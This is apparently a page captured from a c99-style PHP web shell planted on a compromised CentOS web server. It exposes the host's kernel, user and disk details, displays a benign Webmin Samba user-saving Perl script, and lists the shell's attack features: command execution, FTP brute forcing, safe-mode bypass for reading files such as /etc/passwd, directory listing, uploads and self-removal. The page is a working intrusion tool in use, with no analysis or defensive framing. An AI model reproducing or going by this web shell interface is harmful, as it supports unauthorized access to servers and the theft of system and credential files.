!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/samba/   drwxr-xr-x
Free 50.94 GB of 127.8 GB (39.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     save_euser.cgi (1.62 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# save_euser.cgi
# Save an existing samba user

require './samba-lib.pl';
&ReadParse();

if ($in{'delete'}) {
    # Just redirect to delete page
    &redirect("delete_euser.cgi?idx=$in{'idx'}");
    return;
    }

# check acls
&error_setup("$text{'eacl_aviol'}ask_epass.cgi");
&error("$text{'eacl_np'} $text{'eacl_pmusers'}")
        unless $access{'maint_users'} && $access{'view_users'};

# save        
&error_setup($text{'saveuser_fail'});
&lock_file($config{'smb_passwd'});
@list = &list_users();
$u = $list[$in{'idx'}];

# check inputs
$in{'uid'} =~ /^\d+$/ || &error(&text('saveuser_uid', $in{'uid'}));
$u->{'uid'} = $in{'uid'};
if ($in{'new'}) {
    $u->{'opts'} = [ split(/\0/, $in{'opts'}) ];
    }
else {
    $in{'realname'} !~ /:/ ||
        &error($text{'saveuser_colon'});
    (-d $in{'homedir'}) ||
        &error(&text('saveuser_home', $in{'homedir'}));
    (-x $in{'shell'}) || &error(&text('saveuser_shell', $in{'shell'}));
    $u->{'home'} = $in{'homedir'};
    $u->{'shell'} = $in{'shell'};
    $u->{'real'} = $in{'realname'};
    }

# apply changes
if ($in{ptype} == 0) {
    $u->{'pass1'} = $u->{'$pass2'} = ("X" x 32);
    }
elsif ($in{ptype} == 1) {
    $u->{'pass1'} = "NO PASSWORDXXXXXXXXXXXXXXXXXXXXX";
    $u->{'pass2'} = $u->{'pass1'};
    }
elsif ($in{ptype} == 3) {
    # changing password.. need to set later with smbpasswd
    $u->{'pass1'} = $u->{'$pass2'} = ("X" x 32);
    $set_passwd = 1;
    }
&modify_user($u);

# Call password change program if necessary
if ($set_passwd) {
    &set_password($u->{'name'}, $in{'pass'}, \$err) ||
        &error(&text('saveuser_pass', $err));
    }
&unlock_file($config{'smb_passwd'});
&webmin_log("save", "euser", $u->{'name'}, $u);

&redirect("edit_epass.cgi");


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0119 ]--